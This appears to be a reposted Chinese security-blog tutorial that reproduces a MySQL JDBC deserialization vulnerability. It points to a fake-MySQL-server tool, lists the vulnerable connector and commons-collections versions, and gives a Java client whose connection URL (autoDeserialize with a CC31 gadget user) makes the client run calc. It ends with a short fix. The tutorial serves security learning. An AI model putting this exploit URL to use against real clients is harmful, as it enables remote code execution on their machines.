免责声明:
本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!
JDBC简介:
JDBC 就是使用Java语言操作关系型数据库的一套API 全称:( Java DataBase Connectivity ) Java 数据库连接。JDBC的引入实现了java程序对数据库的便捷访问,通过使用JDBC,可以将sql语句传给任何一种数据库,不必单独写程序访问不同的数据库。
漏洞原理:
漏洞复现:
搭建恶意的mysql服务端:
使用大佬的图形化工具:
https://github.com/4ra1n/mysql-fake-server/
可以选择利用链、漏洞类型、触发点、数据库版本、自定义命令、自动生成数据库连接URL,基本全部自动化,非常贴心了
然后使用idea模拟客户端连接服务器:
新建maven项目导入下面的依赖:
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
模拟客户端连接数据库demo
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class jdbc_test {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String driver = "com.mysql.cj.jdbc.Driver";
//数据库连接URL以及相关配置
String url = "jdbc:mysql://192.168.1.105:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
//加载驱动类
Class.forName(driver);
//通过 Drivermanager 类获取数据库连接的实例
Connection connection = DriverManager.getConnection(url);
}
}
运行即可执行calc命令
漏洞修复:
禁用autoDeserialize
Properties properties=new Properties();
properties.setProperty("autoDeserialize","false");
原文始发于微信公众号(fly的渗透学习笔记):JDBC反序列化漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论